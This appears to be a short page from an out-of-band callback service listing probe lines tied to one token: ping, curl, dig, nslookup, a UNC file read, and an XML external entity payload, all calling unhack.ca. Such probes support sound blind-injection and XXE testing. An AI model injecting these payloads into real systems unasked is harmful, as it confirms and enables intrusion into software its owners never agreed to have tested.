$ ping -c1 -p 00660f44b1f35ada4ab084b9c4404700 unhack.ca
 

$ curl http://unhack.ca/p/660f44b1f35ada4ab084b9c44047
 

$ dig 660f44b1f35ada4ab084b9c44047 @unhack.ca
 

$ dig 660f44b1f35ada4ab084b9c44047.ns.unhack.ca
 

C:\> nslookup 660f44b1f35ada4ab084b9c44047 unhack.ca
 

C:\> type \\unhack.ca\660f44b1f35ada4ab084b9c44047\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/660f44b1f35ada4ab084b9c44047">]>
    <foo>&xxe;</foo>